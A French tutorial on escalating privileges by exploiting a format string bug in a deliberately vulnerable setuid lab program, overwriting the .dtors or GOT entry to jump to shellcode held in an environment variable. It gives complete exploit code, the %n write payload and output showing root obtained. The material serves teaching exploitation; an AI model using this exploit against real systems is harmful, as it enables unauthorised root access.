Chaine de format - exploitation   Version imprimable de cet article Enregistrer au format PDF

Le problème de l’éxécution revient finalement à écrire à une adresse contenant une fonction éxécutée l’adresse d’une variable d’environnement contenant un bytecode à nous. Ainsi, quand le programme devra éxécuter cette fonction, le flot d’éxécution sera détourné vers le bytecode. Dans cette section, nous allons nous tenter d’une simple PoC (Proof of Concept)


par S3cur3D

Détourner le flot d’éxécution

Le problème de l’éxécution revient finalement à écrire à une adresse contenant une fonction éxécutée l’adresse d’une variable d’environnement contenant un bytecode à nous. Ainsi, quand le programme devra éxécuter cette fonction, le flot d’éxécution sera détourné vers le bytecode. Dans cette section, nous allons nous tenter d’une simple PoC (Proof of Concept), autrement dit, prouver que nous réussissons à exécuter du code arbitraire avec les droits de l’utilisateur, et ce pour des questions de simplicité et de véracité. Notre but sera donc de tirer profit du programme fmt-vuln (qui n’est autre que le programme utilisé dans les parties précédents, mais allégé) pour exécuter le programme hack. Ce programme peut être n’importe quel programme, en langage compilé ou interprété, du moment qu’il ne demande pas de prompt ou d’intervention de l’utilisateur. Dans notre exemple, notre programme va juste vérifier que nous avons bien gagné les droits root. Nous expliquerons tous ces détails quand il sera venu le temps de dévoiler notre programme d’exploitation. Voici dores et déjà les deux programmes que nous venons de citer et quelques manipulations préliminaires :

  1. //fmt-vuln.c : Vulnérabilité aux chaînes de caractères formatées
  2.  
  3. static int i = 1337;
  4.  
  5. int main() {
  6. char commentaire[200];
  7.  
  8. printf("\ni = %d = %x et se trouve à 0x%x\n",i,i,&i);
  9. printf("Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée\n");
  10.  
  11. scanf("%s",commentaire);
  12.  
  13. printf("On peut écrire votre commentaire de deux façons :\n\nComme ça, ");
  14. printf("%s",commentaire);
  15.  
  16. printf("\n\nou comme ça : ");
  17. printf(commentaire);
  18.  
  19. printf("\ni = %d = %x\n",i,i);
  20.  
  21. printf("\n\nFin du programme\n\n");
  22.  
  23. return 0;
  24. }

Télécharger

  1. //hack.cpp Vérification des droits utilisateurs
  2.  
  3. #include <iostream>
  4. using namespace std;
  5.  
  6. int main() {
  7. cout << ( geteuid() ? "Exécuté par un utilisateur normal" : "GOT ROOT ?!!!" ) << endl;
  8.  
  9. return 0;
  10. }

Télécharger

   $ g++ hack.cpp -o hack
   $ ./hack
   Exécuté par un utilisateur normal
   $ su -
   Mot de passe :
   # ./hack
   GOT ROOT ?!!!
   # gcc -m32 fmt-vuln.c -o fmt-vuln && chmod +s fmt-vuln
   # logout
   $ ls -l ./ | grep fmt-vuln
   -rwsr-sr-x 1 root root 7090 2007-11-01 16:41 fmt-vuln

En réalité, ces vulnérabilités permettent au moins d’écrire à une adresse arbitraire, et ceci suffit pour détourner le flot d’exécution. En premier lieu, si on connait une adresse de la pile, on peut réécrire une adresse de retour. Mais d’autres variables plus déterministes sont tout aussi intéressantes. Je vous proposes les deux premières exploitations de type "4 bytes write anywhere" : les réécritures des tables GOT et DTORS.

Réécriture de la table des destructeurs

Une chose très mal connue notamment des programmeurs est l’existence des destructeurs pendant l’éxécution d’un programme. Tout comme les destructeurs d’un objet, ils sont appellés à la fin d’un programme, typiquement pour nettoyer. Voici l’exemple d’un programme utilisant un destructeur :

   $ cat exemple_dtors.c
   #include <stdio.h>

   static void clean(void) __attribute__ ((destructor));

   int main() {
       printf("Fonction main\n");

       return 0;
   }

   void clean(void)
   {
       printf("Appel au destructeur\n"); }

   $ gcc exemple_dtors.c && ./a.out
   Fonction main
   Appel au destructeur
   $

Effectivement, après que le main du programme soit éxécuté, la fonction clean est bien appellée et affiche le message attendu. Jetons un coup d’oeil aux symboles du programme. On remarque les lignes suivantes :

   $ nm ./a.out
   [...]
   08049594 d _GLOBAL_OFFSET_TABLE_
   [...]
   080494ac d __CTOR_END__
   080494a8 d __CTOR_LIST__
   080494b8 d __DTOR_END__
   080494b0 d __DTOR_LIST__
   [...]
   0804839f t clean
   [...]
   $

La table des décalages globaux que nous avons cité plus haut sera étudiée comme une alternative à l’utilisation des destructeurs. On remarque la liste des constructeurs (CTORS) et celle des destructeurs (DTORS). La fonction clean est bien évidemment aussi présente. Regardons de plus près la table des destructeurs.

   $ objdump -s -j .dtors ./a.out

   ./a.out:     file format elf32-i386

   Contents of section .dtors:
   80494b0 ffffffff 9f830408 00000000        ............
   $

D’après la liste des symboles, ffffffff correspond à __DTOR_LIST__ (puisque présent à 0x080494b0). A 0x080494b4, on a 9f830408 qui n’est autre que clean() (en little endian bien sûr). A 0x080494b8, on a 00000000, correspondant à __DTOR_END__ d’après la liste des symboles.
L’idée de l’exploitation est simple. Si on réécrit l’adresse située à __DTOR_LIST__ +4 par une adresse où se situe un code arbitraire, notre code serait éxécuté comme un destructeur. S’il n’y a aucun destructeur, il va de soi que réécrire __DTOR_END__ n’est en aucun cas grave, puisque c’est après l’éxécution de notre code arbitraire qu’aura lieu l’éventuel segmentation fault. Vérifions tout de même que la table des destructeurs est bien réinscriptible :

   $ objdump -h ./a.out | grep -A 1 .dtors
   17 .dtors     0000000c 080494b0 080494b0 000004b0 2**2
       CONTENTS, ALLOC, LOAD, DATA $

L’absence du flag READONLY semble approuver, l’exploitation paraît donc faisable.

Réécriture de la Global Offset Table

Nous n’allons pas ici réexpliquer en entier les sections des fichiers, comme PLT (Procedure Linkage Table, la table que l’éditeur de lien forme après avoir trouvé les différentes références aux fonctions). Disons seulement que les références externes d’un programme sont gardées dans des tables afin de pouvoir les réutiliser fréquemment. Vous l’aurez deviné, il existe une section contenant les références externes, appellée la GLobal Offset Table, qui est réinscriptible et qui va nous permettre de faire notre exploitation de la même façon qu’avec les destrcteurs.

   $ objdump -s -j .got.plt ./fmt-vuln

   ./fmt-vuln:     file format elf32-i386

   Contents of section .got.plt:
   8049748 74960408 00000000 00000000 06830408 t...............
   8049758 16830408 26830408 36830408 46830408 ....&...6...F...
   $ objdump -R ./fmt-vuln

   ./fmt-vuln:     file format elf32-i386

   DYNAMIC RELOCATION RECORDS
   OFFSET    TYPE         VALUE
   08049744 R_386_GLOB_DAT   __gmon_start__
   08049754 R_386_JUMP_SLOT __gmon_start__
   08049758 R_386_JUMP_SLOT __libc_start_main
   0804975c R_386_JUMP_SLOT scanf
   08049760 R_386_JUMP_SLOT printf
   08049764 R_386_JUMP_SLOT puts

   $

On imagine donc bien que si on place à l’adresse 0x08049760 l’adresse d’un code arbitraire, il sera exécuté à la place de l’appel à printf suivant. Nous avons donc vu deux manières de faire exécuter un code arbitraire à notre programme en utilisant le mécanisme d’écriture à une adresse arbitraire. Avant de pouvoir le mettre en oeuvre, il nous reste un problème : l’emplacement du code arbitraire à faire exécuter.

Exploitation

La façon classique d’exploiter cette faille que l’on peut lire partout est semblable à l’exploitation des buffer-overflows par variables. Puisqu’aucun déterminisme des plages mémoires n’est possible, nous devrons encore une fois tout faire dans un programme d’exploitation. Mais dans notre cas (et dans la majorité des cas), une difficulté supplémentaire s’ajoute : il faut dialoguer avec le programme vulnérable. Pour ce, il faut se lancer dans les bases de la programmation système sous Linux. Ici, nous avons recréé la commande echo | ./fmt-vuln en C. Pour ne pas trop compliquer puisque ce n’est pas notre but ici de faire un cours de programmation système, nous n’avons pas ramifié le code afin de retrouver la possibilité d’écrire après l’exécution de l’echo, et de là vient la petite limitation que nous avions cité plus haut : après la fin de echo, execlp se termine et le processus fils est arrêté : le côté écriture de la pipe est fermé. Dans les situations réelles, ce changement n’est que très peu préoccupant, car il permet d’exécuter avec les droits root un programme qui lui peu installer un backdoor ou changer le password du root (en règle générale, le supprimer).
Voici donc ce que nous allons faire :

- > Stocker un bytecode lambda dans une variable d’environnement (en dehors du programme)
- > Récupérer la valeur de la variable d’environnement dans le processus en cours
- > Créer un tunnel de communication
- > Créer un processus fils
- > Relier la sortie du processus fils avec l’entrée du tunnel de communication et éxécuter dans ce processus fils l’echo de la chaîne formatée
- > Relier l’entrée du processus père avec la sortie du tunnel et éxécuter dans le père le programme vulnérable.

Et le tour devrait être joué. Voici le code du programme d’exploitation :

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <unistd.h>
  4. #include <string.h>
  5.  
  6. #define VAR_ENV "BYTECODE" //Variable d'environnement contenant le bytecode à insérérer
  7.  
  8. #define ADDR_OW 0x08049760 //Adresse à laquelle on va insérer l'adresse de la variable d'environnement
  9.  
  10. #define EXECUTABLE "./fmt-vuln"
  11. #define BEFORE_STRING 6 //Nb de mots dans la pile avant la format string
  12.  
  13.  
  14. #define MAX_LEN 70
  15.  
  16. static void construction_fmtstr(char *,const long,const long);
  17.  
  18. int main() {
  19.  
  20. int pfildes[2];
  21. pid_t pid;
  22. char fmt_string[MAX_LEN];
  23.  
  24. if (getenv(VAR_ENV)== NULL)
  25. {
  26. printf("Variable d'environnement %s non trouvée\n",VAR_ENV);
  27. exit(0);
  28. }
  29.  
  30. printf("Contenu de la variable d'environnement : %s\n",getenv(VAR_ENV));
  31.  
  32. construction_fmtstr(fmt_string,(long)getenv(VAR_ENV),ADDR_OW);
  33.  
  34. /* echo fmt_string | ./fmt-vuln */
  35. if (pipe(pfildes) == -1)
  36. {
  37. perror("Ne peut créer de pipe");
  38. exit(1);
  39. }
  40. if ((pid = fork()) == -1)
  41. {
  42. perror("Ne peut créer un process");
  43. exit(1);
  44. }
  45.  
  46. if (pid == 0) { /* enfant : "echo fmt_string" */
  47. close(pfildes[0]); //On ferme le côté lecture au début de la pipe
  48. dup2(pfildes[1],1); //stdout revient à écrire au début de la pipe
  49. close(pfildes[1]); //On ferme les descripteurs de fichiers inutiles
  50. execlp("echo","echo",fmt_string,NULL);
  51. perror("Erreur dans la création de l'echo"); /* still around? exec failed */
  52. _exit(1);
  53. }
  54. else { /* parent : "./fmt-vuln" */
  55. close(pfildes[1]); //On ferme le côté écriture à la fin de la pipe
  56. dup2(pfildes[0],0); //stdin revient à lire à la fin de la pipe
  57. close(pfildes[0]); //On ferme les descripteurs de fichiers inutiles
  58. execlp(EXECUTABLE,EXECUTABLE+2,NULL);
  59. perror("Erreur dans l'éxécution du programme vulnérable"); //still around? exec failed
  60. exit(1); //parent flushes
  61. }
  62.  
  63. return 0;
  64. }
  65.  
  66.  
  67. static void construction_fmtstr(char * fmt_string, const long env_var,const long ow_addr)
  68. {
  69.  
  70. long byte1,byte2,byte3,byte4;
  71. char tmp[55];
  72.  
  73. /*Debug*/
  74. printf("Variable d'environnement à 0x%x\n",env_var);
  75. printf("Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x%x\n",ow_addr);
  76.  
  77. /*Décomposition adresse à écraser et append à la string formatée*/
  78. byte1 = (ow_addr >> 24);
  79. byte2 = ((ow_addr & 0xffffff) >> 16);
  80. byte3 = ((ow_addr & 0xffff) >> 8);
  81. byte4 = (ow_addr & 0xff);
  82.  
  83. sprintf(fmt_string,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",byte4,byte3,byte2,byte1,byte4 +1,byte3,byte2,byte1,byte4 +2,byte3,byte2,byte1,byte4 +3,byte3,byte2,byte1);
  84.  
  85. /*Décomposition adresse de la variable d'environnement et append à la string formatée*/
  86. byte1 = ((env_var >> 24) & 0xff) + (1 << 10);
  87. byte2 = ((env_var >> 16) & 0xff) + (3 << 8);
  88. byte3 = ((env_var >> 8) & 0xff) + (1 << 9);
  89. byte4 = (env_var & 0xff) + (1 << 8);
  90.  
  91. sprintf(tmp,"%%%d$%dx%%%d$n%%%d$%dx%%%d$n%%%d$%dx%%%d$n%%%d$%dx%%%d$n",BEFORE_STRING,byte4-16,BEFORE_STRING+1,BEFORE_STRING,byte3-byte4,BEFORE_STRING+2,BEFORE_STRING,byte2-byte3,BEFORE_STRING+3,BEFORE_STRING,byte1-byte2,BEFORE_STRING+4);
  92. strcat(fmt_string,tmp);
  93.  
  94. /*Affichage*/
  95. printf("Chaine formatée = %s\n",fmt_string);
  96.  
  97. }

Télécharger

Tout d’abord, on doit repérer les adresses qui seront nos cibles :

   $ objdump -s -j .dtors ./fmt-vuln

   ./fmt-vuln:     file format elf32-i386

   Contents of section .dtors:
   8049668 ffffffff 00000000

   $ objdump -R ./fmt-vuln

   ./fmt-vuln:     file format elf32-i386

   DYNAMIC RELOCATION RECORDS
   OFFSET    TYPE        VALUE
   08049744 R_386_GLOB_DAT   __gmon_start__ 08049754 R_386_JUMP_SLOT __gmon_start__
   08049758 R_386_JUMP_SLOT __libc_start_main
   0804975c R_386_JUMP_SLOT scanf
   08049760 R_386_JUMP_SLOT printf
   08049764 R_386_JUMP_SLOT puts

On utilisera donc l’adresse 0x0804966c dans le cas de l’utilisation du .dtors (DTOR LIST + 4) et 0x08049760 pour l’utilisation de .got.plt (utilisation de printf).
Enfin, on utilise le même shellcode que celui fabriqué dans le tutoriel sur les shellcodes en utilisant ./hack au lieu de /bin/sh et on l’exporte dans une variable d’environnement

   $ nasm shellcode2.asm
   $ export BYTECODE=`cat shellcode2`

Place à l’exploitation. Dans l’ordre, on montre l’exploitation avec les destructeurs (ADDR_OW = "0x0804966c") puis celle avec la Global Offset Table (ADDR_OW = "0x08049760"). On remarque que toujours pour des raisons d’égalité entre les adresses des variables d’environnement, le nom du programme d’exploitation et celui du programme vulnérable ont la même longueur.

   $ gcc exp-fmtv.c -o exp-fmtv && ./exp-fmtv
   Contenu de la variable d'environnement : 1À°F1Û1ÙÍ&#8364;ë-[1À&#710;C-&#8240;[&#8240;C
   °
    K S
   Í&#8364;èåÿÿÿ./hack
   Variable d'environnement à 0xbf8dde71
   Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x0804966c
   Chaine formatée = l&#8211;m&#8211;n&#8211;o&#8211;%6$353x%7$n%6$365x%8$n%6$175x%9$n%6$306x%10$n

   i = 1337 = 539 et se trouve à 0x8049774
   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, l&#8211;m&#8211;n&#8211;o&#8211;%6$353x%7$n%6$365x%8$n%6$175x%9$n%6$306x%10$n

   ou comme ça : l&#8211;m&#8211;n&#8211;o&#8211;                                                                                                                                                                                             b7f01ed2                                                                                                                                                                                                         b7f01ed2                                                                                                                         b7f01ed2                                                                                                                                                                                                         b7f01ed2
   b7f01ed2 b7f01ed2 b7f01ed2 b7f01ed2 i = 1337 = 539


   Fin du programme

   GOT ROOT ?!!!
   $ nano exp-fmtv.c
   $ gcc exp-fmtv.c -o exp-fmtv && ./exp-fmtv
   Contenu de la variable d'environnement : 1À°F1Û1ÙÍ&#8364;ë-[1À&#710;C-&#8240;[&#8240;C
   °
    K S
   Í&#8364;èåÿÿÿ./hack
   Variable d'environnement à 0xbffb2e71
   Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x08049760
   Chaine formatée = `&#8212;a&#8212;b&#8212;c&#8212;%6$353x%7$n%6$189x%8$n%6$461x%9$n%6$196x%10$n

   i = 1337 = 539 et se trouve à 0x8049774
   Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
   On peut écrire votre commentaire de deux façons :

   Comme ça, `&#8212;a&#8212;b&#8212;c&#8212;%6$353x%7$n%6$189x%8$n%6$461x%9$n%6$196x%10$n

   ou comme ça : `&#8212;a&#8212;b&#8212;c&#8212;                                                                                                                                                                                             b7fe1ed2                                                                                                                         b7fe1ed2                                                                                                                                                                                                                                                                     GOT ROOT ?!!!
   $

Notre preuve de concept est maintenant achevée. Attention, dans la plupart des systèmes aujourd’hui, la technique des destructeurs ne marchera pas, car les programmes +s se séparent des privilèges avant l’appel au destructeur. On préfère désormais réécrire les pointeurs vers la fonction _fini (qui appelle les destructeurs) au sein de la section DYNAMIC. La technique de la Global Offset Table reste bien sûr d’actualité (et est d’ailleurs très utilisée). Cette exploitation pas franchement triviale conclut la première partie de la section sur l’exploitation de programmes et la compréhension de la mémoire. J’espère finalement avoir pu vous faire apprécier comme je l’apprécie les méandres de l’escalade de privilèges après exploitation de négligences de programmation.

Documentations publiées dans cette rubrique Documentations publiées dans cette rubrique